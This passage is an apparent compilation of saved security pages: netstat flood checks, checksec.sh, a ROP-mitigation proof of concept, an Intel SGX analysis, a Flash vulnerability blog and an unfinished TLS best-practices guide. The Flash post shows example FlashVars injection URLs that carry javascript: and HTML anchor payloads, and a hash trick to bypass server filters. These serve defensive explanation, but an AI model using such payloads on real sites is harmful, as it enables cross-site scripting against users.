net attacks do this by sending HTTP requests to a flood target because it
blends in with normal web surfing. We can count those with netstat too, using:  

[code]

    C:\> netstat -na | find /c "ESTABLISHED"
    
[/code]

Now, the number of established connections is heavily dependent on the nature
and use of your given machine. A busy mail server or web server may have
several hundred, or it might not. It all depends. What we need to look for
here is a deviation from normal behavior for the system, with a lot more
connections that we normall expect.  
  
But, the beauty here is that we are using built-in tools to determine whether
we've got a SYN or connection flood, without having to bother the network or
IDS guys.  
  
Hal comments:  
  
This is, of course, a lot easier in the Unix shell than in Windows. In fact, I
can actually give you counts for all current socket states with a single
command line:  
  

[code]

    $ **netstat -an | awk '/^tcp/ {print $6}' | sort | uniq -c**       
         13 ESTABLISHED  
         29 LISTEN
    
[/code]

  
Thanks for giving me an easy one, Ed. Maybe I'll do the same for you sometime.
Maybe.

# Proof Market - Problem List

**Created:**| _1/16/2014 3:26:05 PM_  
---|---  
**Updated:**| _1/16/2014 3:26:05 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification_  
  

# **P** roof Market****

## Open Problems****

## Solved Problems****

Create a new problem

The content of this web page is licensed under a Creative Commons Attribution
4**.** 0 International License**.**

****

# trapkit.de - checksec.sh

**Created:**| _10/30/2012 10:44:15 AM_  
---|---  
**Updated:**| _10/30/2012 10:44:15 AM_  
**Author:**| __  
**Tags:**| _Linux kernel mitigations_  
  

## checksec.sh

Modern Linux distributions offer some mitigation techniques to make it harder
to exploit software vulnerabilities reliably. Mitigations such as RELRO,
NoExecute \(NX\), Stack Canaries, Address Space Layout Randomization \(ASLR\)
and Position Independent Executables \(PIE\) have made reliably exploiting any
vulnerabilities that do exist far more challenging. The checksec.sh script is
designed to test what standard Linux OS and PaX security features are being
used.  
  
As of version 1.3 the script also lists the status of various Linux kernel
protection mechanisms.

## Examples

See my blog for some examples.

## Download

You can download the latest version 1.5 of checksec.sh here.

## FAQ

**Q: What prerequisites do you need to run checksec.sh?**  
**A:** To use checksec.sh you are required to use bash version 3.2 or higher.
Furthermore, the 'readelf' system command is necessary for most of the checks.
Some Linux distributions \(e.g. Ubuntu Server Edition 11.10 and Fedora 16\)
come without this command in the default installation. On these systems, it is
necessary to install the 'binutils' package that includes the 'readelf'
command.

**Q: When I try to run checksec.sh I get the error message '-bash:
./checksec.sh: Permission denied'. What am I doing wrong?**  
**A:** You have to make the script executable with the following command:
chmod +x checksec.sh

**Q: Which Linux distributions are supported?**  
**A:** checksec.sh should work on all Linux distributions. I successfully
tested the script under Ubuntu Desktop and Server Edition, Fedora, openSUSE
and Gentoo \(Hardened\).

## History and Changes

`[17-Nov-2011] checksec.sh v1.5 has been released. Here are the changes.`  
`[14-Jan-2011] checksec.sh v1.4 has been released.`  
`[15-Jun-2010] checksec.sh v1.3.1 has been released.`  
`[04-May-2010] checksec.sh v1.3 has been released.`  
`[02-Jan-2010] checksec.sh v1.2 has been released.`  
`[27-Dec-2009] checksec.sh v1.1 has been released.`  
`[28-Jan-2009] Initial release of checksec.sh v1.0.`

# cjdelisle/return-to-abort

**Created:**| _7/17/2017 11:21:33 AM_  
---|---  
**Updated:**| _7/17/2017 11:21:33 AM_  
**Author:**| __  
**Tags:**| _rop_  
  

  

# Safecall -- return to abort\(\) attacks

A small proof of concept using code introspection to make ROP exploitation
really really suck.

**NOTE:** This idea is not usable in practice, see issues below.

## Try it

[code]

    make
    ./demo
    
[/code]

If it doesn't implode, it works on your architecture \(meaning it's amd64\)

[code]

    gdb ./demo
    (gdb) disassemble main
    (gdb) disassemble test
    # check it out
    
[/code]

## How it works

Stack overflow attacks depend on being able to overwrite the return pointer
which points to the code which called the current function. When the function
returns, instead of returning back to it's caller, it returns to some evil
place determined by the attacker. The ` NX bit ` is a great help because
nolonger can _data_ become executable code but still the attacker can win
using what is known as ` Return Oriented Programming `, IE: finding little
snippets of code just before additional return instructions which do what he
wants. Like piecing together a ransom note from letters cut out of magazines,
the attacker can piece together evil code from little pieces of the ends of
many functions.

The ` Stack Smashing Protector ` helps a lot by checking that a cookie has not
been overwritten prior to returning. The logic is that if the cookie resides
between the vulnerable buffer and the return pointer, the attacker can't
change the return pointer without overwriting the cookie first. This cookie
must be unpredictable and secret for the duration of the program's operation,
otherwise the attacker will simply overwrite it with the same value. The flaw
with the cookie approach is that if the attacker can find a bug which _reads_
past the end of a buffer and makes the result available to him, he can then
prepare an attack which defeats the cookie.

Safecall is a modification of the calling convention which is used to call the
function. The caller follows the call ASM instruction with 4 predictable
bytes, in this case the first two bytes constitute a _jmp_ instruction which
skips over the second two, the second two are never executed. Before
returning, a function checks the actual code at the return pointer and expects
to see these 4 predictable bytes. Because the value must exist in _executable_
memory which on modern systems is non-writable, this protection cannot be
foiled by overwriting a value in memory. An attacker attempting to use ROP can
only look for code to piece together from places where these 4 unique bytes
appear \(because of the uniqueness of the bytes, that means almost certainly
these will be function calls\). Therefor the attacker can make one function
return to a function which does not call it but he cannot assemble individual
pieces of assembly by returning to any place in the executable.

## Issues

Thanks to Zach Riggle \( @zachriggle \) for helping tear this idea apart.
While the idea is technically safe, there are so many constraints on it's
usage that it cannot reasonably be implemented.

### Function pointers are impossible

In this implementation, the fingerprint of the function is it's hash,
therefore taking a function pointer and calling it later would not be
possible.

### Any unsafe call is an attack point

The initial version of this project had a main\(\) function safe-calling a
test\(\) function which was vulnerable. Unfortunately in this case the example
was not safe because the attacker can overwrite many frames of the stack, not
just one, so he could simply make the test\(\) function return properly to
main\(\) function and then make the main function return to the attacker's
place of choice.

This was mitigated by making the example abort\(\) rather than return. In
order to put it in production libc \_start\(\) would need to use a safecall.

#### Calling a "safe" function from an "unsafe" one is impossible

One might consider that if there's a safe function, one can simply use a sort
of trampoline function to call it from an unprotected function. Not so fast,
if the trampoline exists in memory then the attacker can return to it and then
setup the next return pointer to point to his code of choice. This seriously
harms the usability of this kind of solution.

### SafeStack has already solved the problem

This solution, while interesting, is in almost no way, better than SafeStack
which is implemented in clang: https://clang.llvm.org/docs/SafeStack.html

  

# The Invisible Things Lab's blog: Thoughts on Intel's upcoming Software Guard
Extensions \(Part 1\)

**Created:**| _9/27/2013 10:58:00 AM_  
---|---  
**Updated:**| _9/27/2013 10:58:00 AM_  
**Author:**| __  
**Tags:**| _hardware_  
  

# **T** houghts on Intel's upcoming Software Guard Extensions \(Part 1****\)

Intel Software Guard Extensions \(SGX\) might very well be The Next Big Thing
coming to our industry, since the introduction of Intel VT-d, VT-x, and TXT
technologies in the previous decade**.** It apparently seem to promise what so
far has never been possible – an ability to create a secure _enclave_ within a
potentially compromised OS**.** It sounds just too great, so I decided to take
a closer look and share some early thoughts on this technology**.**

**Intel SGX – secure enclaves within untrusted world**\!****

Intel SGX is an upcoming technology, and there is very little public documents
about it at the moment**.** In fact the only public papers and presentations
about SGX can be found in the agenda of one security workshop  that took place
some two months ago**.** The three papers from Intel engineers presented there
provide a reasonably good technical introduction to those new processor
extensions**.**

You might think about SGX as of a next generation of Intel TXT – a technology
that has never really took off, and which has had a long history of security
problems disclosed by certain team of researchers ;\) Intel TXT has also been
perhaps the most misunderstood technology from Intel – in fact many people
thought about TXT as if it already could provide security enclaves within
untrusted OS – this however was not really true \(even ignoring for our
multiple attacks\) and I have spoke and wrote many times about that in the
past years**.**

It's not clear to me when SGX will make it to the CPUs that we could buy in
local shops around the corner**.** I would be assuming we're talking about 3-5
years from now, because the SGX is not even described in the Intel SDM at this
moment**.**

Intel SGX is essentially a new mode of execution on the CPU, a new memory
protection semantic, plus a couple of new instructions to manage this all**.**
So, you create an enclave by filling its protected pages with desired code,
then you lock it down, measure the code there, and if everything's fine, you
ask the processor to start executing the code inside the enclave**.** Since
now on, no entity, including the kernel \(ring 0\) or hypervisor \(ring
“-1”\), or SMM \(ring “-2”\) or AMT \(ring “-3”\), has no right to read nor
write the memory pages belonging to the enclave**.** Simple as that**\!**

Why have we had to wait so long for such technology**?** Ok, it's not really
that simple, because we need some form of attestation or sealing to make sure
that the enclave was really loaded with good code**.**

The cool thing about an SGX enclave is that it can coexist \(and so, co-
execute\) together with other code, such all the untrusted OS code**.** There
is no need to stop or pause the main OS, and boot into a new stub mini-OS,
like it was with the TXT \(this is what e.g. Flicker  tried to do, and which
was very clumsy\)**.** Additionally, there can be multiple enclaves, mutually
untrusted, all executing at the same time**.**

**No more stinkin' TPMs nor BIOSes to trust**\!****

A nice surprise is that SGX infrastructure no longer depends on the TPM to do
measurements, sealing and attestation**.** Instead Intel has a special enclave
that essentially emulates the TPM**.** This is a smart move, and doesn't
decrease security in my opinion**.** It surely makes us now trust only Intel
vs**.** trusting Intel plus some-asian-TPM-vendor. While it might sound like a
good idea to spread the trust between two or more vendors, this only really
makes sense if the relation between trusting those vendors is expressed as
“AND”, while in this case the relation is, unfortunately of “OR” type – if the
private EK key gets leaked from the TPM manufacture, we can bypass any remote
attestation, and no longer we need any failure on the Intel's side**.**
Similarly, if Intel was to have a backdoor in their processors, this would be
just enough to sabotage all our security, even if the TPM manufacture was
decent and played fair**.**

Because of this, it's generally good that SGX allows us to shrink the number
of entities we need to trust down to just one: Intel processor \(which, these
days include the CPUs as well as the memory controller, and, often, also a
GPU\)**.** Just to remind – today, even with a sophisticated operating system
architecture like those we use in Qubes OS, which is designed with
decomposition and minimizing trust in mind, we still need to trust the BIOS
and the TPM, in addition to the processor**.**

And, of course, because SGX enclaves memories are protected against any other
processor mode's access, so SMM backdoor no longer can compromise our
protected code \(in contrast to TXT, where SMM _can_ subvert a TXT-loaded
hypervisor\), nor any other entity, such as the infamous AMT, or malicious
GPU, should be able to do that**.**

So, this is all very good. However..**.**

**Secure Input and Output \(for Humans\)**

For any piece of code to be somehow useful, there must be a secure way to
interact with it**.** In case of servers, this could be implemented by e.g.
including the SSL endpoint inside the protected enclave**.** However for most
applications that run on a client system, ability to interact with the user
via screen and keyboard is a must**.** So, one of the most important questions
is how does Intel SGX secures output to the screen from an SGX enclave, as
well as how does it ensure that the input the enclave gets is indeed the input
the user intended**?**

Interestingly, this subject is not very thoroughly discussed in the Intel
papers mentioned above**.** In fact only one paper briefly mentions Intel
Protected Audio Video Path \(PVAP\) technology that apparently could be used
to provide secured output to the screen**.** The paper then references... a
consumer FAQ onBlueRay Disc Playback using Intel HD graphics**.** There is no
further technical details and I was also unable to find any technical document
from Intel about this technology**.** Additionally this same paper admits
that, as of now, there is no protected _input_ technology available, even on
prototype level, although they promise to work on that in the future**.**

This might not sound very surprising – after all one doesn't need to be a
genius to figure out that the main driving force behind this whole SGX thing
is the DRM, and specifically protecting Holywwod media against the pirate
industry**.** This would be nothing wrong in itself, assuming, however, the
technology could also have some other usages, that could really improve
security of the user \(in contrast to the security of the media
companies\)**.**

We shall remember that all the secrets, keys, tokens, and smart-cards, are
ultimately to allow the user to access some information**.** And how does
people access information? By viewing in on a computer screen. I know, I know,
this so retro, but until we have direct PC-brain interfaces, I'm afraid that's
the only way**.** Without properly securing the graphics output, all the
secrets can be ultimately leaked out**.**

Also, how people command their computers and applications**?** Well, again
using this retro thing called keyboard and mouse \(touchpad\)**.** However
secure our enclave might be, without secured input, the app would not be able
to distinguish intended user input from simulated input crafted by
malware**.** Not to mention about such obvious attacks as sniffing of the user
input**.**

Without protected input and output, SGX might be able to stop the malware from
stealing the user's private keys for email encryption or issuing bank
transactions, yet the malware will still be able to command this super-secured
software to e.g. decrypt all the user emails and later steal the screenshots
of all the plaintext messages \(with a bit of simple programming, the
screenshot's could be turned back into nice ASCII text for saving on bandwidth
when leaking them out to a server in Hong Kong\), or better yet, perhaps just
forward them to an email address that the attacker controls \(perhaps still
encrypted, but using the attackers key\)**.**

But, let's ignore for a moment this “little issue” of lack of protected input,
and lack of technical documentation on how secure graphics output is really
implemented**.** Surely it is thinkable that protected input and output could
be implemented in a number of ways, and so let's hope Intel will do it, and
will do right**.** We should remember here, that whatever mechanism Intel is
going to use to secure the graphics and audio output, it surely will be an
attractive target of attacks, as there is probably a huge money incentive for
such attacks in the film illegal copying business**.**

**Securing****mainstream****client OSes****and why this****is not so
simple**?****

As mentioned above, for SGX enclaves to be truly meaningful on client systems
we need protected input and output, to and from the secured enclaves**.**
Anyway, lets assume for now that Intel has come up with robust mechanisms to
provide these**.** Let's now consider further, how SGX could be used to turn
our current mainstream desktop systems into reasonably secure bastions**.**

We start with a simple scenario – a dedicated application for viewing of
incoming encrypted files, say PDFs, performing their decryption and signature
verification**.** , and displaying of the final outcome to the user \(via
protected graphics path\)**.** The application takes care about all the key
management too**.** All this happens, of coruse, inside an SGX
enclave\(s\)**.**

Now, this sounds all attractive and surely could be implemented using the
SGX**.** But what about if we wanted our secure document viewer to become a
bit more than just a viewer**?** What if we wanted a secure version of MS Word
or Excel, with its full ability to open complex documents and edit them**?**

Well it's obviously not enough to just put the proverbial msword.exe into a
SGX enclave**.** It is not, because the msword.exe makes use of million of
other things that are provided by the OS and 3rd libraries, in order to
perform all sorts of tasks it is supposed to do**.** It is not a
straightforward decision to draw a line between those parts that are security
sensitive and those that are not**.** Is font parsing security critical**?**
Is drawing proper labels on GUI buttons and menu lists security critical**?**
Is rendering of various objects that are part of the \(decrypted\) document,
such as pictures, security critical**?** Is spellchecking security critical?
Even if the function of some of a subsystem seem not security critical
\(i**.** e. not allows to easily leak the plaintext document out of the
enclave\), let's not forget that all this 3rd party code would be interacting
very closely with the enclave-contained code**.** This means the attack
surface exposed to all those untrusted 3rd party modules will be rather
huge**.** And we already know it is rather not possible to write a renderer
for such complex documents as PDFs, DOCs, XLS, etc, without introducing tons
of exploitable bugs**.** And these attack are not coming now from the
potentially malicious documents \(against those we protect, somehow, by
parsing only signed document from trusted peers\), but are coming from the
compromised OS**.**

Perhaps it would be possible to take Adobe Reader, MS Word, Powerpoint, Excel
etc, and just rewrite every of those apps from scratch in a way that they were
properly decomposed into sensitive parts that execute within SGC enclave\(s\),
and those that are not-sensitive and make use of all the OS-provided
functionality, and further define clean and simple interfaces between those
parts, ensuring the “dirty” code cannot exploit the sensitive code**.**
Somehow attractive, but somehow I don't see this happening anytime soon**.**

But, perhaps, it would be easier to do something different – just take the
whole msword.exe, all the DLLs it depends on, as well as all the OS subsystems
it depends on, such as the GUI subsystem, and put all of this into an
enclave**.** This sounds like a more rational approach, and also more
secure**.**

Only notice one thing – we just created..**.** a Virtual Machine with Windows
OS inside and the msword.exe that uses this Windows OS.. Sure, it is not a VT-
x-based VM, it is an SGX-based VM now, but it is largely the same animal**\!**

Again, we came to the conclusion why the use of VMs is suddenly perceived as
such an increase in security \(which some people cannot get, claiming that
introducing VM-layer only increases complexity\) – the use of VMs is
profitable because of one of thing: it suddenly packs all the fat libraries-
and OS-exposed APIs and subsystems into one security domain, reducing all the
interfaces between this code in the VM and the outside world**.** Reducing of
the interfaces between two security domains is ALWAYS desirable**.**

But our SGX-isolated VMs have one significant advantage over the other VM
technologies we got used to in the last decade or so – namely those VMs can
now be impenetrable to any other entity outside of the VM**.** No kernel or
hypervisor can peek into its memory. Neither can the SMM, AMT, or even a
determined physical attacker with DRAM emulator, because SGX automatically
encrypts any data that leave the processor, so everything that is in the DRAM
is encrypted and useless to the physical attacker**.**

This is a significant achievement. Of course SGX, strictly speaking, is not a
\(full\) virtualization technology, it's not going to replace VT-x.. But
remember we don't always need full virtualization, like VT-x, often we can use
paravirtualization and all we need in that case is a good isolation
technology**.** For examaple, Xen uses paravirtualization for Linux-based PV
VMs, and uses good-old ring3/ring0 separation mechanism to implement this, and
the level of isolation of such PV domains on Xen is comparable to the
isolation of HVMs, which are virtualized using VT-x**.**

**To Be Continued**

In the next part of this article, we will look into some interesting
unconventional uses of SGX, such as creating malware that cannot be reversed
engineered, or TOR nodes or Bitcoin mixers that should be reasonably trusted,
even if we don't trust their operators**.** Then we will discuss how SGX might
profoundly change the architecture of the future operating systems, and
virtualization systems, in a way that we will no longer need to trust \(large
portions of\) their kernels or hypervisors, or system admins \(Anti Snowden
Protection**?**\) And, of course, how our Qubes OS might embrace this
technology in the future**.**

Finally, we should discuss the important issue of whether this whole SGX,
while providing many great benefits for system architects, should really be
blindly trusted**?** What are the chances of Intel building in backdoors there
and exposing those to the NSA**?** Is there any difference in trusting Intel
processors today vs**.** trusting the SGX as a basis of security model of all
software in the future**?**

****

# jnraber/Hades - GitHub

**Created:**| _11/10/2011 3:19:32 PM_  
---|---  
**Updated:**| _11/10/2011 3:19:32 PM_  
**Author:**| __  
**Tags:**| _bookmark Debugging windows Driver_  
  

README.md

A reverse engineer trying to understand a protected binary is faced with
avoiding detection by anti-debugging protections. Advanced protection systems
may even load specialized drivers that can re-flash firmware and change the
privileges of running applications, significantly increasing the penalty of
detection. Hades is a Windows kernel driver designed to aid reverse
engineering endeavors. It avoids detection by employing intelligent
instrumentation via instruction rerouting in both user and kernel space. This
technique allows a reverse engineer to easily debug and profile binaries
without fear of invoking protection penalties

# To Build

  1. > build -gceZw
  2. Make sure that the path is C:\WinDDK\xxxx.xxxx\src\HADES There are dependencies in the make files. Just easier to have Hades located here.

# License

This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free Software
Foundation; either version 2 of the License, or \(at your option\) any later
version. This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.

# LLDB Homepage

**Created:**| _4/14/2011 3:23:48 PM_  
---|---  
**Updated:**| _4/14/2011 3:23:48 PM_  
**Author:**| __  
**Tags:**| _Debugging virtusalisation programming_  
  

# What is LLDB?

LLDB is a next generation, high-performance debugger. It is built as a set of
reusable components which highly leverage existing libraries in the larger
LLVM Project, such as the Clang expression parser and LLVM disassembler.

LLDB is in early development, but is mature enough to support basic debugging
scenarios on Mac OS X in C, Objective-C and C++.

All of the code in the LLDB project is available under the standard LLVM
License, an open source "BSD-style" license.

# Vulnerabilities in a Flash | WhiteHat Security Blog
**Created:**| _6/21/2011 7:59:30 AM_  
---|---  
**Updated:**| _6/21/2011 7:59:43 AM_  
**Author:**| __  
**Tags:**| _Flash attacks vulnerability_  
  

# Vulnerabilities in a Flash

June 20, 2011 By Jason Calvert Leave a Comment

<img src='img/Temp2_9018.png' width='600' height='500' />

Flash Player-related vulnerabilities currently account for approximately
**14%** of all Web application vulnerabilities discovered by WhiteHat
Security. This statistic is surprisingly high considering that HTTP Archive
reports **47%** of Web applications are currently using Flash technology.

Flash Media Player is an effective method for delivering stylish vector
graphics across multiple platforms to enrich a Web user’s experience. When
properly designed, Flash makes a website visit interactive and fun.
Unfortunately, Flash can also introduce vulnerabilities to an otherwise safe
application. Many Flash developers are primarily designers who may have some
programming experience, but little – if any – knowledge about Web security.

Flash Player itself has many security restrictions and policies, but users
often misunderstand them – or even purposely disabled them to get a particular
feature to “work.” Among many Flash designers, there’s also a common
misconception that the Flash framework will provide all the protection their
applications need.

One of the most frequent comments I get about Flash vulnerabilities is,
“Doesn’t my cross-domain policy file protect me from that problem?” Well, the
cross-domain policy file does prevent cross-domain data loading for execution;
but it is a unidirectional permission that the server hosting the data file
grants. The permission does **not** come from the Flash file. Some people may
find the cross-domain policy file to be “backwards” compared to what they
expect, and in many attack scenarios the Flash file will first seek permission
from the attacker’s domain before initiating the attack.

Flash Player has an in-depth security sandbox model based on the domain where
the Flash file is embedded, and I will discuss the scenarios for when a
sandbox policy applies and how that policy can be bridged or bypassed – but in
a later blog post. In this post I’m going to focus on the simplest and most
prevalent method used today on the Web to exploit Flash files – unsanitized
FlashVars.

**FlashVars**

Flash Player supports several methods to declare variables that are to be used
in the resulting content. The two most common techniques are: \(1\) to declare
FlashVars in a related javascript block, or \(2\) via the param tag within an
embed. A third, and sometimes overlooked, method to declare variables is by
directly referencing them in a URL query string. Many Flash designers build
their projects based primarily on flexibility in order to allow greater
customization and wider distribution, but these “features” often allow
attackers to make their own customizations – and then exploit the application.

Typical banner ad with FlashVars to specify remote image and link:

> `<object>  
>  <param name="movie" value="swf/banner.swf" />  
>  <param name="img" value="image1.jpg" />  
>  <param name="link" value="http://www.whitehatsec.com" />  
>  <embed src="swf/banner.swf"
> flashvars="img=image1.jpg&amp;link=http://www.whitehatsec.com" />  
>  </object>`
Attackers link to SWF:

>
> `http://www.example.com/swf/banner.swf?img=http://web.appsec.ws/images/WH.jpg&link=javascript:confirm('Session%20Information%20Sent%20to%20Hacker');//`
**FlashVars with HTML Support**

If a Flash file is compiled for HTML support for a given textbox, then an
attacker can inject a limited subset of HTML characters to achieve remote code
execution. Flash framework supports two main HTML tags that are of interest to
an attacker: ANCHOR and IMAGE. A simple SWF file that reflects user input can
be used to execute malicious javascript when a user clicks on the file.

Attackers NameTag:

> `http://www.example.com/swf/nameTag.swf?name=<a
> href="javascript:confirm(1)">Haxor</a>`
**Server Filter Bypass**

With the exception of Internet Explorer, Flash Player will evaluate a query
string behind a hash character in all browsers. When a URL query string is
placed behind a hash character the browser will not forward the query string
with the request for the Flash file, thus allowing an attacker to bypass any
attempt at server filtering.

> `http://www.example.com/flash/main.swf#?text=WhiteHat+Security,+Inc.`
**Internet Explorer Sandbox Bypass  
**

When directly rendering a Flash file in Internet Explorer the browser will
first construct an encapsulating document in the DOM to embed the Flash file.
The browser will then put in place a security restriction so that the related
content will have no access to the related DOM information of the current
domain. As in many Microsoft programs, this was a brilliant concept, but the
QA performed was inadequate to ensure that it became an effective security
measure. So the fact is, if a Flash file containing malicious javascript is
reloaded, it will immediately bridge the security control and give an attacker
access to the DOM. The victim clicks once, which initiates the reload; then,
thinking nothing has happened, clicks the second time – and gets owned.

**Redirection**

A recent Flash 0-day that allowed an attacker to submit arbitrary HTTP headers
to an application was the result of an unhandled 307 redirection from a domain
controlled by an attacker. Flash Player has always had limitations handling
HTTP responses if it receives anything other than a 200 OK. The problem stems
from lack of insight into how a given HTTP request is handled by the Web
browser. Firefox 4 contains a new API that hopes to remediate this issue by
providing additional insight for browser plugins. If a Flash file utilizes an
external configuration file an attacker can bypass any attempt to restrict
data loading from a given domain if the domain also contains an open
redirection. The Flash file will verify that the initial request is for a
trusted domain, but will load the malicious configuration file residing on the
attacker’s domain.

**Proof of Concept**

The following video demonstrates the common issue of Flash files targeting
external XML configurations via FlashVars without properly validating the XML
file that resides on a trusted domain. _Camtasia Studio’s_ popular
presentation software was used to produce the video, which shows the
vulnerabilities present in _Camtasia’s_ own ExpressShow SWF files. The
developer of the files, _Techsmith_ , has addressed this issue with a patch
that must be manually applied \(available via Techsmith Security Bulletin 5\).
The patch restricts generated Flash files to loading XML configurations that
reside on the same domain as the Flash file.

<img src='img/Temp2_9017.png' alt='YouTube Preview Image' />

**References**

HTTP Archive  
Guya.net – Flash Bug in Internet Explorer Security Model  
OWASP Flash Security Project

# ssllabs/research

**Created:**| _5/28/2017 11:09:44 AM_  
---|---  
**Updated:**| _5/28/2017 11:09:44 AM_  
**Author:**| __  
**Tags:**| _ssl_  
  

  

# SSL and TLS Deployment Best Practices

Ivan Ristić edited this page on 31 Mar ·  12 revisions

###  Pages 23

  * **Home**
  * **Assessment Tools**
  * **Attack Tools**
  * **BEAST**
  * **Configuration tools**
  * **CRIME**
  * **Extended Validation Certificates**
  * **FIPS Requirements**
  * **Forward Secrecy**
  * **Interoperability Test Servers**
  * **Long Handshake Intolerance**
  * **Lucky 13**
  * **Manual Testing**
  * **Passive SSL Client Fingerprinting**
  * **PCI DSS Requirements**
  * Show 8 more pages… 

##### Clone this wiki locally

Clone in Desktop

**Version 1.6-draft \(31 March 2017\)**

SSL/TLS is a deceptively simple technology. It is easy to deploy, and it just
works--except when it does not. The main problem is that encryption is not
often easy to deploy _correctly_. To ensure that TLS provides the necessary
security, system administrators and developers must put extra effort into
properly configuring their servers and developing their applications.

In 2009, we began our work on SSL Labs because we wanted to understand how TLS
was used and to remedy the lack of easy-to-use TLS tools and documentation. We
have achieved some of our goals through our global surveys of TLS usage, as
well as the online assessment tool, but the lack of documentation is still
evident. This document is a step toward addressing that problem.

Our aim here is to provide clear and concise instructions to help overworked
administrators and programmers spend the minimum time possible to deploy a
secure site or web application. In pursuit of clarity, we sacrifice
completeness, foregoing certain advanced topics. The focus is on advice that
is practical and easy to follow. For those who want more information, Section
6 gives useful pointers.

##  1 Private Key and Certificate

In TLS, all security starts with the server's cryptographic identity; a strong
private key is needed to prevent attackers from carrying out impersonation
attacks. Equally important is to have a valid and strong certificate, which
grants the private key the right to represent a particular hostname. Without
these two fundamental building blocks, nothing else can be secure.

###  1.1 Use 2048-Bit Private Keys

For most web sites, security provided by 2,048-bit RSA keys is sufficient. The
RSA public key algorithm is widely supported, which makes keys of this type a
safe default choice. At 2,048 bits, such keys provide about 112 bits of
security. If you want more security than this, note that RSA keys don't scale
very well. To get 128 bits of security, you need 3,072-bit RSA keys, which are
noticeably slower. ECDSA keys provide an alternative that offers better
security and better performance. At 256 bits, ECDSA keys provide 128 bits of
security. A small number of older clients don't support ECDSA, but modern
clients do. It's possible to get the best of both worlds and deploy with RSA
and ECDSA keys simultaneously if you don't mind the overhead of managing such
a setup.

###  1.2 Protect Private Keys

Treat your private keys as an important asset, restricting access to the
smallest possible group of employees while still keeping your arrangements
practical. Recommended policies include the following:

  * Generate private keys on a trusted computer with sufficient entropy. Some CAs offer to generate private keys for you; run away from them.
  * Password-protect keys from the start to prevent compromise when they are stored in backup systems. Private key passwords don’t help much in production because a knowledgeable attacker can always retrieve the keys from process memory. There are hardware devices \(called Hardware Security Modules, or HSMs\) that can protect private keys even in the case of server compromise, but they are expensive and thus justifiable only for organizations with strict security requirements.
  * After compromise, revoke old certificates and generate new keys.
  * Renew certificates yearly, and more often if you can automate the process. Most sites should assume that a compromised certificate will be impossible to revoke reliably; certificates with shorter lifespans are therefore more secure in practice.
  * Unless keeping the same keys is important for public key pinning, you should also generate new private keys whenever you're getting a new certificate.

###  1.3 Ensure Sufficient Hostname Coverage

Ensure that your certificates cover all the names you wish to use with a site.
Your goal is to avoid invalid certificate warnings, which confuse users and
weaken their confidence.

Even when you expect to use only one domain name, remember that you cannot
control how your users arrive at the site or how others link to it. In most
cases, you should ensure that the certificate works with and without the _www_
prefix \(e.g., that it works for both _example.com_ and _www.example.com_\).
The rule of thumb is that a secure web server should have a certificate that
is valid for every DNS name configured to point to it.

Wildcard certificates have their uses, but avoid using them if it means
exposing the underlying keys to a much larger group of people, and especially
if doing so crosses team or department boundaries. In other words, the fewer
people there are with access to the private keys, the better. Also be aware
that certificate sharing creates a bond that can be abused to transfer
vulnerabilities from one web site or server to all other sites and servers
that use the same certificate \(even when the underlying private keys are
different\).

###  1.4 Obtain Certificates from a Reliable CA

Select a Certification Authority \(CA\) that is reliable and serious about its
certificate business and security. Consider the following criteria when
selecting your CA:

**Security posture** All CAs undergo regular audits, but some are more serious
about security than others. Figuring out which ones are better in this respect
is not easy, but one option is to examine their security history, and, more
important, how they have reacted to compromises and if they have learned from
their mistakes.

**Business focus** CAs whose activities constitute a substantial part of their
business have everything to lose if something goes terribly wrong, and they
probably won’t neglect their certificate division by chasing potentially more
lucrative opportunities elsewhere.

**Services offered** At a minimum, your selected CA should provide support for
both Certificate Revocation List \(CRL\) and Online Certificate Status
Protocol \(OCSP\) revocation methods, with rock-solid network availability and
performance. Many sites are happy with domain-validated certificates, but you
also should consider if you'll ever require Extended Validation \(EV\)
certificates. In either case, you should have a choice of public key
algorithm. Most web sites use RSA today, but ECDSA may become important in the
future because of its performance advantages.

**Certificate management options** If you need a large number of certificates
and operate in a complex environment, choose a CA that will give you good
tools to manage them.

**Support** Choose a CA that will give you good support if and when you need
it.

> **Note**
> For best results, acquire your certificates well in advance and at least one
> week before deploying them to production. This practice \(1\) helps avoid
> certificate warnings for some users who don't have the correct time on their
> computers and \(2\) helps avoid failed revocation checks with CAs who need
> extra time to propagate new certificates as valid to their OCSP responders.
> Over time, try to extend this "warm-up" period to 1-3 months. Similarly,
> don't wait until your certificates are about to expire to replace them.
> Leaving an extra several months there would similarly help with people whose
> clocks are incorrect in the other direction.
###  1.5 Use Strong Certificate Signature Algorithms

Certificate security depends _\(1\)_ on the strength of the private key that
was used to sign the certificate and _\(2\)_ the strength of the hashing
function used in the signature. Until recently, most certificates relied on
the SHA1 hashing function, which is now considered insecure. As a result,
we're currently in transition to SHA256. As of January 2016, you shouldn't be
able to get a SHA1 certificate from a public CA. The existing SHA1
certificates will continue to work \(with warnings in some browsers\), but
only until the end of 2016.

##  2 Configuration

With correct TLS server configuration, you ensure that your credentials are
properly presented to the site’s visitors, that only secure cryptographic
primitives are used, and that all known weaknesses are mitigated.

###  2.1 Use Complete Certificate Chains

In most deployments, the server certificate alone is insufficient; two or more
certificates are needed to build a complete chain of trust. A common
configuration problem occurs when deploying a server with a valid certificate,
but without all the necessary intermediate certificates. To avoid this
situation, simply use all the certificates provided to you by your CA.

An invalid certificate chain effectively renders the server certificate
invalid and results in browser warnings. In practice, this problem is
sometimes difficult to diagnose because some browsers can reconstruct
incomplete chains and some can’t. All browsers tend to cache and reuse
intermediate certificates.

###  2.2 Use Secure Protocols

There are five protocols in the SSL/TLS family: SSL v2, SSL v3, TLS v1.0, TLS
v1.1, and TLS v1.2:

  * SSL v2 is insecure and must not be used. This protocol version is so bad that it can be used to attack RSA keys and sites with the same name even if they are on an entirely different servers \(the DROWN attack\).
  * SSL v3 is insecure when used with HTTP \(the POODLE attack\) and weak when used with other protocols. It’s also obsolete and shouldn’t be used.
  * TLS v1.0 is also a legacy protocol that shouldn't be used, but it's typically still necessary in practice. Its major weakness \(BEAST\) has been mitigated in modern browsers, but other problems remain.
  * TLS v1.1 and v1.2 are both without known security issues, but only v1.2 provides modern cryptographic algorithms.

TLS v1.2 should be your main protocol because it's the only version that
offers modern authenticated encryption \(also known as AEAD\). If you don't
support TLS v1.2 today, your security is lacking.

